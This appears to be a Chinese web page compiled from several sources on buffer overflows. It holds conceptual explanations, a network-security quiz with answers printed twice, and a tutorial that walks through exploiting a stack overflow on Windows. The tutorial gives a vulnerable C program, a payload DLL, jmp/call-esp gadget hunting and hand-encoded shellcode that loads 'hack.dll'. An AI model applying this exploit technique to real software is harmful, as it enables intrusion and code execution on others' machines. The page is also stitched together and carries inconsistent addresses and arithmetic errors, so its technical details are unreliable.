若黑客利用软件中缓冲区_黑客攻击都是利用软件实现中的缓冲区溢出的漏洞
缓充区溢出是怎么回事,黑客是如何利用它入侵个人电脑的?
什么是缓冲区溢出
单的说就是程序对接受的输入数据没有进行有效的检测导致错误,后果可能造成程序崩溃或者执行攻击者的命令,详细的资料可以看unsecret.org的漏洞利用栏目 。
缓冲区溢出的概念
堆栈溢出(又称缓冲区溢出)攻击是最常用的黑客技术之一。我们知道,UNIX本身以及其上的许多应用程序都是用C语言编写的,C语言不检查缓冲区的边界。在某些情况下,如果用户输入的数据长度超过应用程序给定的缓冲区,就会覆盖其他数据区。这称作“堆栈溢出或缓冲溢出”。
一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误。但是,如果输入的数据是经过“黑客”精心设计的,覆盖堆栈的数据恰恰是黑客的入侵程序代码,黑客就获取了程序的控制权。如果该程序恰好是以root运行的,黑客就获得了root权限,然后他就可以编译黑客程序、留下入侵后门等,实施进一步地攻击。按照这种原理进行的黑客入侵就叫做“堆栈溢出攻击”。
为了便于理解,我们不妨打个比方。缓冲区溢出好比是将十磅的糖放进一个只能装五磅的容器里。一旦该容器放满了,余下的部分就溢出在柜台和地板上,弄得一团糟。由于计算机程序的编写者写了一些编码,但是这些编码没有对目的区域或缓冲区——五磅的容器——做适当的检查,看它们是否够大,能否完全装入新的内容——十磅的糖,结果可能造成缓冲区溢出的产生。如果打算被放进新地方的数据不适合,溢得到处都是,该数据也会制造很多麻烦。但是,如果缓冲区仅仅溢出,这只是一个问题。到此时为止,它还没有破坏性。当糖溢出时,柜台被盖住。可以把糖擦掉或用吸尘器吸走,还柜台本来面貌。与之相对的是,当缓冲区溢出时,过剩的信息覆盖的是计算机内存中以前的内容。除非这些被覆盖的内容被保存或能够恢复,否则就会永远丢失。
在丢失的信息里有能够被程序调用的子程序的列表信息,直到缓冲区溢出发生。另外,给那些子程序的信息——参数——也丢失了。这意味着程序不能得到足够的信息从子程序返回,以完成它的任务。就像一个人步行穿过沙漠。如果他依赖于他的足迹走回头路,当沙暴来袭抹去了这些痕迹时,他将迷失在沙漠中。这个问题比程序仅仅迷失方向严重多了。入侵者用精心编写的入侵代码(一种恶意程序)使缓冲区溢出,然后告诉程序依据预设的方法处理缓冲区,并且执行。此时的程序已经完全被入侵者操纵了。
入侵者经常改编现有的应用程序运行不同的程序。例如,一个入侵者能启动一个新的程序,发送秘密文件(支票本记录,口令文件,或财产清单)给入侵者的电子邮件。这就好像不仅仅是沙暴吹了脚印,而且后来者也会踩出新的脚印,将我们的迷路者领向不同的地方,他自己一无所知的地方。
缓冲区溢出的处理
你屋子里的门和窗户越少,入侵者进入的方式就越少……
由于缓冲区溢出是一个编程问题,所以只能通过修复被破坏的程序的代码而解决问题。如果你没有源代码,从上面“堆栈溢出攻击”的原理可以看出,要防止此类攻击,我们可以:
1、开放程序时仔细检查溢出情况,不允许数据溢出缓冲区。由于编程和编程语言的原因,这非常困难,而且不适合大量已经在使用的程序;
2、使用检查堆栈溢出的编译器或者在程序中加入某些记号,以便程序运行时确认禁止黑客有意造成的溢出。问题是无法针对已有程序,对新程序来讲,需要修改编译器;
3、经常检查你的操作系统和应用程序提供商的站点,一旦发现他们提供的补丁程序,就马上下载并且应用在系统上,这是最好的方法。但是系统管理员总要比攻击者慢一步,如果这个有问题的软件是可选的,甚至是临时的,把它从你的系统中删除。举另外一个例子,你屋子里的门和窗户越少,入侵者进入的方式就越少。
黑客主要先从微软漏洞公布表上或者0days上找到漏洞,再根据漏洞编写溢出程序(好多都自带扫描功能)包括本地提权溢出,远程提权溢出.编好后,先用那个扫描一下有漏洞的主机,然后再用它溢出获得权限,控制目标主机.
怎么进行缓冲区溢出攻击?
缓冲区溢出(又称堆栈溢出)攻击是最常用的黑客技术之一。这种攻击之所以泛滥,是由于开放源代码程序的本质决定的。Unix本身以及其上的许多应用程序都是用C语言编写的,而C语言不检查缓冲区的边界。在某些情况下,如果用户输入的数据长度超过应用程序给定的缓冲区,就会覆盖其他数据区,这就称作"缓冲区溢出"。 一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误;但是,如果输入的数据是经过"黑客"精心设计的,覆盖缓冲区的数据恰恰是黑客的入侵程序代码,黑客就获取了程序的控制权。尽管这项攻击的技术要求非常高,而一旦执行这项攻击的程序被设计出来却是非常简单的。由于缓冲区溢出是一个编程问题,所以他们只能通过修复被破坏的程序代码来解决问题。从"缓冲区溢出攻击"的原理可以看出,要防止此类攻击,我们可以在开放程序时仔细检查溢出情况,不允许数据溢出缓冲区。经常检查操作系统和应用程序提供商的站点,一旦发现补丁程序就马上下载是最好的方法。
网络安全单项选择题「附答案」
一、单选题
1.为了防御网络监听,最常用的方法是 (B)
A、采用物理传输(非网络)
B、信息加密
C、无线网
D、使用专线传输
2.使网络服务器中充斥着大量要求回复的信息,消耗带宽,导致网络或系统停止正常服务,这属于什么攻击类型? (A)
A、拒绝服务
B、文件共享
C、BIND漏洞
D、远程过程调用
3.向有限的空间输入超长的字符串是哪一种攻击手段?(A)
A、缓冲区溢出;
B、网络监听
C、拒绝服务
D、IP欺骗
4.主要用于加密机制的协议是(D)
A、HTTP
B、FTP
C、TELNET
D、SSL
5.用户收到了一封可疑的电子邮件,要求用户提供银行账户及密码,这是属于何种攻击手段? (B)
A、缓存溢出攻击;
B、钓鱼攻击
C、暗门攻击;
D、DDOS攻击
6.Windows NT 和Windows 2000系统能设置为在几次无效登录后锁定帐号,这可以防止(B)
A、木马;
B、暴力攻击;
C、IP欺骗;
D、缓存溢出攻击
7.在以下认证方式中,最常用的认证方式是:(A)
A基于账户名/口令认证
B基于摘要算法认证 ;
C基于PKI认证 ;
D基于数据库认证
8.以下哪项不属于防止口令猜测的措施? (B)
A、严格限定从一个给定的终端进行非法认证的次数;
B、确保口令不在终端上再现;
C、防止用户使用太短的口令;
D、使用机器产生的口令
9.下列不属于系统安全的技术是(B)
A、防火墙
B、加密狗
C、认证
D、防病毒
10.抵御电子邮箱入侵措施中,不正确的是( D )
A、不用生日做密码
B、不要使用少于5位的密码
C、不要使用纯数字
D、自己做服务器
11.不属于常见的危险密码是( D )
A、跟用户名相同的密码
B、使用生日作为密码
C、只有4位数的密码
D、10位的综合型密码
12.不属于计算机病毒防治的策略的是( D )
A. 确认您手头常备一张真正“干净”的引导盘
B. 及时、可靠升级反病毒产品
C. 新购置的计算机软件也要进行病毒检测
D. 整理磁盘
13.针对数据包过滤和应用网关技术存在的缺点而引入的防火墙技术,这是( )防火墙的特点。(D)
A、包过滤型
B、应用级网关型
C、复合型防火墙
D、代理服务型
14.在每天下午5点使用计算机结束时断开终端的连接属于( A )
A、外部终端的物理安全
B、通信线的物理安全
C、偷听数据
D、网络地址欺骗
15.2003年上半年发生的较有影响的计算机及网络病毒是什么(B)
(A)SARS
(B)SQL杀手蠕虫
(C)手机病毒
(D)小球病毒
16.SQL 杀手蠕虫病毒发作的特征是什么(A)
(A)大量消耗网络带宽
(B)攻击个人PC终端
(C)破坏PC游戏程序
(D)攻击手机网络
17.当今IT 的发展与安全投入,安全意识和安全手段之间形成(B)
(A)安全风险屏障
(B)安全风险缺口
(C)管理方式的变革
(D)管理方式的缺口
18.我国的计算机年犯罪率的`增长是(C)
(A)10%
(B)160%
(C)60%
(D)300%
19.信息安全风险缺口是指(A)
(A)IT 的发展与安全投入,安全意识和安全手段的不平衡
(B)信息化中,信息不足产生的漏洞
(C)计算机网络运行,维护的漏洞
(D)计算中心的火灾隐患
20.信息网络安全的第一个时代(B)
(A)九十年代中叶
(B)九十年代中叶前
(C)世纪之交
(D)专网时代
21.信息网络安全的第三个时代(A)
(A)主机时代, 专网时代, 多网合一时代
(B)主机时代, PC机时代, 网络时代
(C)PC机时代,网络时代,信息时代
(D)2001年,2002年,2003年
22.信息网络安全的第二个时代(A)
(A)专网时代
(B)九十年代中叶前
(C)世纪之交
23.网络安全在多网合一时代的脆弱性体现在(C)
(A)网络的脆弱性
(B)软件的脆弱性
(C)管理的脆弱性
(D)应用的脆弱性
24.人对网络的依赖性最高的时代(C)
(A)专网时代
(B)PC时代
(C)多网合一时代
(D)主机时代
25.网络攻击与防御处于不对称状态是因为(C)
(A)管理的脆弱性
(B)应用的脆弱性
(C)网络软,硬件的复杂性
(D)软件的脆弱性
26.网络攻击的种类(A)
(A)物理攻击,语法攻击,语义攻击
(B)黑客攻击,病毒攻击
(C)硬件攻击,软件攻击
(D)物理攻击,黑客攻击,病毒攻击
27.语义攻击利用的是(A)
(A)信息内容的含义
(B)病毒对软件攻击
(C)黑客对系统攻击
(D)黑客和病毒的攻击
28.1995年之后信息网络安全问题就是(A)
(A)风险管理
(B)访问控制
(C)消除风险
(D)回避风险
29.风险评估的三个要素(D)
(A)政策,结构和技术
(B)组织,技术和信息
(C)硬件,软件和人
(D)资产,威胁和脆弱性
30.信息网络安全(风险)评估的方法(A)
(A)定性评估与定量评估相结合
(B)定性评估
(C)定量评估
(D)定点评估
31.PDR模型与访问控制的主要区别(A)
(A)PDR把安全对象看作一个整体
(B)PDR作为系统保护的第一道防线
(C)PDR采用定性评估与定量评估相结合
(D)PDR的关键因素是人
32.信息安全中PDR模型的关键因素是(A)
(A)人
(B)技术
(C)模型
(D)客体
33.计算机网络最早出现在哪个年代(B)
(A)20世纪50年代
(B)20世纪60年代
(C)20世纪80年代
(D)20世纪90年代
34.最早研究计算机网络的目的是什么?(C)
(A)直接的个人通信;
(B)共享硬盘空间、打印机等设备;
(C)共享计算资源;
D大量的数据交换。
35.最早的计算机网络与传统的通信网络最大的区别是什么?(B)
(A)计算机网络带宽和速度大大提高。
(B)计算机网络采用了分组交换技术。
(C)计算机网络采用了电路交换技术
(D)计算机网络的可靠性大大提高。
36.关于80年代Mirros 蠕虫危害的描述,哪句话是错误的?(B)
(A)该蠕虫利用Unix系统上的漏洞传播
(B)窃取用户的机密信息,破坏计算机数据文件
(C)占用了大量的计算机处理器的时间,导致拒绝服务
(D)大量的流量堵塞了网络,导致网络瘫痪
37.以下关于DOS攻击的描述,哪句话是正确的?(C)
(A)不需要侵入受攻击的系统
(B)以窃取目标系统上的机密信息为目的
(C)导致目标系统无法处理正常用户的请求
(D)如果目标系统没有漏洞,远程攻击就不可能成功
38.许多黑客攻击都是利用软件实现中的缓冲区溢出的漏洞,对于这一威胁,最可靠的解决方案是什么?(C)
(A)安装防火墙
(B)安装入侵检测系统
(C)给系统安装最新的补丁
(D)安装防病毒软件
39.下面哪个功能属于操作系统中的安全功能 (C)
(A)控制用户的作业排序和运行
(B)实现主机和外设的并行处理以及异常情况的处理
(C)保护系统程序和作业,禁止不合要求的对程序和数据的访问
(D)对计算机用户访问系统和资源的情况进行记录
40.下面哪个功能属于操作系统中的日志记录功能(D)
(A)控制用户的作业排序和运行
(B)以合理的方式处理错误事件,而不至于影响其他程序的正常运行
(C)保护系统程序和作业,禁止不合要求的对程序和数据的访问
(D)对计算机用户访问系统和资源的情况进行记录
42.Windows NT提供的分布式安全环境又被称为(A)
(A)域(Domain)
(B)工作组
(C)对等网
(D)安全网
43.下面哪一个情景属于身份验证(Authentication)过程(A)
(A)用户依照系统提示输入用户名和口令
(B)用户在网络上共享了自己编写的一份Office文档,并设定哪些用户可以阅读,哪些用户可以修改
(C)用户使用加密软件对自己编写的Office文档进行加密,以阻止其他人得到这份拷贝后看到文档中的内容
(D)某个人尝试登录到你的计算机中,但是口令输入的不对,系统提示口令错误,并将这次失败的登录过程纪录在系统日志中
44.下面哪一个情景属于授权(Authorization)(B)
(A)用户依照系统提示输入用户名和口令
(B)用户在网络上共享了自己编写的一份Office文档,并设定哪些用户可以阅读,哪些用户可以修改
(C)用户使用加密软件对自己编写的Office文档进行加密,以阻止其他人得到这份拷贝后看到文档中的内容
(D)某个人尝试登录到你的计算机中,但是口令输入的不对,系统提示口令错误,并将这次失败的登录过程纪录在系统日志中
45.下面哪一个情景属于审计(Audit)(D)
(A)用户依照系统提示输入用户名和口令
(B)用户在网络上共享了自己编写的一份Office文档,并设定哪些用户可以阅读,哪些用户可以修改
(C)用户使用加密软件对自己编写的Office文档进行加密,以阻止其他人得到这份拷贝后看到文档中的内容
(D)某个人尝试登录到你的计算机中,但是口令输入的不对,系统提示口令错误,并将这次失败的登录过程纪录在系统日志中
46.以网络为本的知识文明人们所关心的主要安全是(C)
(A)人身安全
(B)社会安全
(C)信息安全
47.第一次出现"HACKER"这个词是在(B)
(A)BELL实验室
(B)麻省理工AI实验室
(C)ATT实验室
48.可能给系统造成影响或者破坏的人包括(A)
(A)所有网络与信息系统使用者
(B)只有黑客
(C)只有跨客
49.黑客的主要攻击手段包括(A)
(A)社会工程攻击、蛮力攻击和技术攻击
(B)人类工程攻击、武力攻击及技术攻击
(C)社会工程攻击、系统攻击及技术攻击
50.从统计的情况看,造成危害最大的黑客攻击是(C)
(A)漏洞攻击
(B)蠕虫攻击
(C)病毒攻击
51.第一个计算机病毒出现在(B)
(A)40年代
(B)70 年代
(C)90年代
52.口令攻击的主要目的是(B)
(A)获取口令破坏系统
(B)获取口令进入系统
(C)仅获取口令没有用途
53.通过口令使用习惯调查发现有大约___%的人使用的口令长度低于5个字符的(B)
(A)50.5
(B)51. 5
(C)52.5
54.通常一个三个字符的口令破解需要(B)
(A)18毫秒
(B)18 秒
(C)18分
55.黑色星期四是指(A)
(A)1998年11月3日星期四
(B)1999年6月24日星期四
(C)2000年4月13日星期四
56.大家所认为的对Internet安全技术进行研究是从_______时候开始的 (C)
(A)Internet 诞生
(B)第一个计算机病毒出现
( C)黑色星期四
57.计算机紧急应急小组的简称是(A)
(A)CERT
(B)FIRST
(C)SANA
58.邮件炸弹攻击主要是(B)
(A)破坏被攻击者邮件服务器
(B)添满被攻击者邮箱
(C)破坏被攻击者邮件客户端
59.逻辑炸弹通常是通过(B)
(A)必须远程控制启动执行,实施破坏
(B)指定条件或外来触发启动执行,实施破坏
(C)通过管理员控制启动执行,实施破坏
60.1996年上海某寻呼台发生的逻辑炸弹事件,造事者被判"情节轻微,无罪释放"是因为(C)
(A)证据不足
(B)没有造成破坏
(C)法律不健全
61.扫描工具(C)
(A)只能作为攻击工具
(B)只能作为防范工具
(C)既可作为攻击工具也可以作为防范工具
62.DDOS攻击是利用_____进行攻击(C)
(A)其他网络
(B)通讯握手过程问题
(C)中间代理
63.全国首例计算机入侵银行系统是通过(A)
(A)安装无限MODEM进行攻击
(B)通过内部系统进行攻击
(C)通过搭线进行攻击
64.黑客造成的主要安全隐患包括(A)
(A)破坏系统、窃取信息及伪造信息
(B)攻击系统、获取信息及假冒信息
(C)进入系统、损毁信息及谣传信息
65.从统计的资料看,内部攻击是网络攻击的(B)
(A)次要攻击
(B)最主要攻击
(C)不是攻击源
66.信息战的主要形式是(A)
(A)电子战和计算机网络战
(B)信息攻击和网络攻击
(C)系统破坏和信息破坏
67.广义地说,信息战是指敌对双方为达成各自的国家战略目标,为夺取______在等各个领域的信息优势,运用信息和信息技术手段而展开的信息斗争(B)
(A)政治、经济、国防、领土、文化、外交
(B)政治、经济、军事、科技、文化、外交
(C)网络、经济、信息、科技、文化、外交
68.狭义地说,信息战是指军事领域里的信息斗争。它是敌对双方为争夺信息的______,通过利用、破坏敌方和保护己方的信息、信息系统而采取的作战形式 (C)
(A)占有权、控制权和制造权
(B)保存权、制造权和使用权
(C)获取权、控制权和使用权
69.信息战的战争危害较常规战争的危害(C)
(A)轻
B)重
(C)不一定
70.信息战的军人身份确认较常规战争的军人身份确认(A)
(A)难
(B)易
(C)难说
71.互联网用户应在其网络正式联通之日起_____内,到公安机关办理国际联网备案手续(A)
(A)三十日
(B)二十日
(C)十五日
(D)四十日
72.一般性的计算机安全事故和计算机违法案件可由_____受理(C)
(A)案发地市级公安机关公共信息网络安全监察部门
(B)案发地当地县级(区、市)公安机关治安部门。
(C)案发地当地县级(区、市)公安机关公共信息网络安全监察部门
(D)案发地当地公安派出所
73.计算机刑事案件可由_____受理(A)
(A)案发地市级公安机关公共信息网络安全监察部门
(B)案发地市级公安机关治安部门
(C)案发地当地县级(区、市)公安机关公共信息网络安全监察部门
(D)案发地当地公安派出所
74.计算机信息系统发生安全事故和案件,应当______在内报告当地公安机关公共信息网络安全监察部门(D)
(A)8小时
(B)48小时
(C)36小时
(D)24小时
75.对计算机安全事故的原因的认定或确定由_____作出(C)
(A)人民法院
(B)公安机关
(C)发案单位
(D)以上都可以
76.对发生计算机安全事故和案件的计算机信息系统,如存在安全隐患的,______应当要求限期整改(B)
(A)人民法院
(B)公安机关
(C)发案单位的主管部门
(D)以上都可以
77.传入我国的第一例计算机病毒是__(B)
(A)大*病毒
(B)小球病毒
(C)1575病毒
(D)米开朗基罗病毒
78.我国是在__年出现第一例计算机病毒(C)
(A)1980
(B)1983
(C)1988
(D)1977
79.计算机病毒是_____(A)
(A)计算机程序
(B)数据
(C)临时文件
(D)应用软件
80.计算机病毒能够_____(ABC)
(A)破坏计算机功能或者毁坏数据
(B)影响计算机使用
(C)能够自我复制
(D)保护版权
81.1994年我国颁布的第一个与信息安全有关的法规是_____(D)
(A)国际互联网管理备案规定
(B)计算机病毒防治管理办法
(C)网吧管理规定
(D)中华人民共和国计算机信息系统安全保护条例
82.网页病毒主要通过以下途径传播(C)
(A)1邮件
(B)文件交换
(C)网络浏览
(D)光盘
83.故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,将受到____处罚(A)
(A)处五年以下有期徒刑或者拘役
(B)拘留
(C)罚款
(D)警告
84.计算机病毒防治产品根据____标准进行检验(A)
(A)计算机病毒防治产品评级准测
(B)计算机病毒防治管理办法
(C)基于DOS系统的安全评级准则
(D)计算机病毒防治产品检验标准
85.《计算机病毒防治管理办法》是在哪一年颁布的(C)
(A)1994
(B)1997
(C)2000
(D)1998
86.边界防范的根本作用是(C)
(A)对系统工作情况进行检验与控制,防止外部非法入侵
(B)对网络运行状况进行检验与控制,防止外部非法入侵
(C)对访问合法性进行检验与控制,防止外部非法入侵
87.路由设置是边界防范的(A)
(A)基本手段之一
(B)根本手段
(C)无效手段
88.网络物理隔离是指(C)
(A)两个网络间链路层在任何时刻不能直接通讯
(B)两个网络间网络层在任何时刻不能直接通讯
(C)两个网络间链路层、网络层在任何时刻都不能直接通讯
如何利用缓冲区溢出的程序错误来运行黑客程序
上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:
程序A:
#include stdio.h
#include string.h
void foo(const char *input)
{
char buf[10];
strcpy(buf, input);
}
int main(int argc, char *argv[])
{
foo("1234567890123456123456123456");
return 0;
}
启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:
ebp的值 esp的值
^ ^
| |
--------------------------------------
| |函数返回地址| |
---------------------------------------
而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁操作:
mov esp ebp
pop ebp
ret
在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。
如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。
下面是步骤:
1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。
2. 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:
#include
"stdafx.h"
#include stdio.h
#include windows.h
#ifdef _MANAGED
#pragma managed(push, off)
#endif
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( si,
sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( pi, sizeof(pi) );
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件
WinExec("C://WINDOWS//notepad.exe", SW_SHOW);
break;
default:
break;
}
return TRUE;
}
#ifdef
_MANAGED
#pragma managed(pop)
#endif
3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:
int main()
{
_asm {
jmp esp
}
}
将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:
00401763 FF E4 jmp esp
00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。
现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。
我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编
打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:
7C914393: FF E5 call esp
4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。
随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:
E | Ordinal | Hint | Function | Entry Point
---------------------------------------------------------------------------------------------
754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF
操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:
Module | ... 中间很多省略 ... | Preferred Base
-------------------------------------------------------------------------
Kernel32.dll | .... | 0x77E000000
将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。
5。最后编写汇编代码执行你的黑客程序:
_asm {
mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中
call L4
L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈
L3: jmp L3 // 循环,确保被黑的程序不会死掉
L4: call L2
}
6。最后,示例程序如下:
#include
stdio.h
#include string.h
void func(char *p)
{
char stack_temp[20];
strcpy(stack_temp, p);
printf(stack_temp);
}
void foo()
{
printf("This should not be called");
}
int main(int argc, char *argv[])
{
func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"
"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址
"/xEB/x04" // call L4
"/xFF/xD0" // L2: call eax
"/xEB/xFE" // L3: jmp L3
"/xE8/xF7/xFF/xFF/xFF" // L4: call L2
"c://hack.dll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件
return 0;
}
完了,累死了
信息网络安全考题「附答案」
2017信息网络安全考题「附答案」
一、单选题
1.为了防御网络监听,最常用的方法是 (B)
A、采用物理传输(非网络)
B、信息加密
C、无线网
D、使用专线传输
2.使网络服务器中充斥着大量要求回复的信息,消耗带宽,导致网络或系统停止正常服务,这属于什么攻击类型? (A)
A、拒绝服务
B、文件共享
C、BIND漏洞
D、远程过程调用
3.向有限的空间输入超长的字符串是哪一种攻击手段?(A)
A、缓冲区溢出;
B、网络监听
C、拒绝服务
D、IP欺骗
4.主要用于加密机制的协议是(D)
A、HTTP
B、FTP
C、TELNET
D、SSL
5.用户收到了一封可疑的电子邮件,要求用户提供银行账户及密码,这是属于何种攻击手段? (B)
A、缓存溢出攻击;
B、钓鱼攻击
C、暗门攻击;
D、DDOS攻击
6.Windows NT 和Windows 2000系统能设置为在几次无效登录后锁定帐号,这可以防止(B)
A、木马;
B、暴力攻击;
C、IP欺骗;
D、缓存溢出攻击
7.在以下认证方式中,最常用的认证方式是:(A)
A基于账户名/口令认证
B基于摘要算法认证 ;
C基于PKI认证 ;
D基于数据库认证
8.以下哪项不属于防止口令猜测的措施? (B)
A、严格限定从一个给定的终端进行非法认证的次数;
B、确保口令不在终端上再现;
C、防止用户使用太短的口令;
D、使用机器产生的口令
9.下列不属于系统安全的技术是(B)
A、防火墙
B、加密狗
C、认证
D、防病毒
10.抵御电子邮箱入侵措施中,不正确的是( D )
A、不用生日做密码
B、不要使用少于5位的密码
C、不要使用纯数字
D、自己做服务器
11.不属于常见的危险密码是( D )
A、跟用户名相同的密码
B、使用生日作为密码
C、只有4位数的密码
D、10位的综合型密码
12.不属于计算机病毒防治的策略的是( D )
A. 确认您手头常备一张真正“干净”的引导盘
B. 及时、可靠升级反病毒产品
C. 新购置的计算机软件也要进行病毒检测
D. 整理磁盘
13.针对数据包过滤和应用网关技术存在的缺点而引入的防火墙技术,这是( )防火墙的特点。(D)
A、包过滤型
B、应用级网关型
C、复合型防火墙
D、代理服务型
14.在每天下午5点使用计算机结束时断开终端的连接属于( A )
A、外部终端的物理安全
B、通信线的物理安全
C、偷听数据
D、网络地址欺骗
15.2003年上半年发生的较有影响的计算机及网络病毒是什么(B)
(A)SARS
(B)SQL杀手蠕虫
(C)手机病毒
(D)小球病毒
16.SQL 杀手蠕虫病毒发作的特征是什么(A)
(A)大量消耗网络带宽
(B)攻击个人PC终端
(C)破坏PC游戏程序
(D)攻击手机网络
17.当今IT 的发展与安全投入,安全意识和安全手段之间形成(B)
(A)安全风险屏障
(B)安全风险缺口
(C)管理方式的变革
(D)管理方式的缺口
18.我国的计算机年犯罪率的增长是(C)
(A)10%
(B)160%
(C)60%
(D)300%
19.信息安全风险缺口是指(A)
(A)IT 的发展与安全投入,安全意识和安全手段的不平衡
(B)信息化中,信息不足产生的漏洞
(C)计算机网络运行,维护的漏洞
(D)计算中心的火灾隐患
20.信息网络安全的第一个时代(B)
(A)九十年代中叶
(B)九十年代中叶前
(C)世纪之交
(D)专网时代
21.信息网络安全的第三个时代(A)
(A)主机时代, 专网时代, 多网合一时代
(B)主机时代, PC机时代, 网络时代
(C)PC机时代,网络时代,信息时代
(D)2001年,2002年,2003年
22.信息网络安全的第二个时代(A)
(A)专网时代
(B)九十年代中叶前
(C)世纪之交
23.网络安全在多网合一时代的脆弱性体现在(C)
(A)网络的脆弱性
(B)软件的脆弱性
(C)管理的脆弱性
(D)应用的脆弱性
24.人对网络的依赖性最高的时代(C)
(A)专网时代
(B)PC时代
(C)多网合一时代
(D)主机时代
25.网络攻击与防御处于不对称状态是因为(C)
(A)管理的脆弱性
(B)应用的脆弱性
(C)网络软,硬件的复杂性
(D)软件的脆弱性
26.网络攻击的种类(A)
(A)物理攻击,语法攻击,语义攻击
(B)黑客攻击,病毒攻击
(C)硬件攻击,软件攻击
(D)物理攻击,黑客攻击,病毒攻击
27.语义攻击利用的是(A)
(A)信息内容的含义
(B)病毒对软件攻击
(C)黑客对系统攻击
(D)黑客和病毒的攻击
28.1995年之后信息网络安全问题就是(A)
(A)风险管理
(B)访问控制
(C)消除风险
(D)回避风险
29.风险评估的三个要素(D)
(A)政策,结构和技术
(B)组织,技术和信息
(C)硬件,软件和人
(D)资产,威胁和脆弱性
30.信息网络安全(风险)评估的方法(A)
(A)定性评估与定量评估相结合
(B)定性评估
(C)定量评估
(D)定点评估
31.PDR模型与访问控制的主要区别(A)
(A)PDR把安全对象看作一个整体
(B)PDR作为系统保护的第一道防线
(C)PDR采用定性评估与定量评估相结合
(D)PDR的.关键因素是人
32.信息安全中PDR模型的关键因素是(A)
(A)人
(B)技术
(C)模型
(D)客体
33.计算机网络最早出现在哪个年代(B)
(A)20世纪50年代
(B)20世纪60年代
(C)20世纪80年代
(D)20世纪90年代
34.最早研究计算机网络的目的是什么?(C)
(A)直接的个人通信;
(B)共享硬盘空间、打印机等设备;
(C)共享计算资源;
D大量的数据交换。
35.最早的计算机网络与传统的通信网络最大的区别是什么?(B)
(A)计算机网络带宽和速度大大提高。
(B)计算机网络采用了分组交换技术。
(C)计算机网络采用了电路交换技术
(D)计算机网络的可靠性大大提高。
36.关于80年代Mirros 蠕虫危害的描述,哪句话是错误的?(B)
(A)该蠕虫利用Unix系统上的漏洞传播
(B)窃取用户的机密信息,破坏计算机数据文件
(C)占用了大量的计算机处理器的时间,导致拒绝服务
(D)大量的流量堵塞了网络,导致网络瘫痪
37.以下关于DOS攻击的描述,哪句话是正确的?(C)
(A)不需要侵入受攻击的系统
(B)以窃取目标系统上的机密信息为目的
(C)导致目标系统无法处理正常用户的请求
(D)如果目标系统没有漏洞,远程攻击就不可能成功
38.许多黑客攻击都是利用软件实现中的缓冲区溢出的漏洞,对于这一威胁,最可靠的解决方案是什么?(C)
(A)安装防火墙
(B)安装入侵检测系统
(C)给系统安装最新的补丁
(D)安装防病毒软件
39.下面哪个功能属于操作系统中的安全功能 (C)
(A)控制用户的作业排序和运行
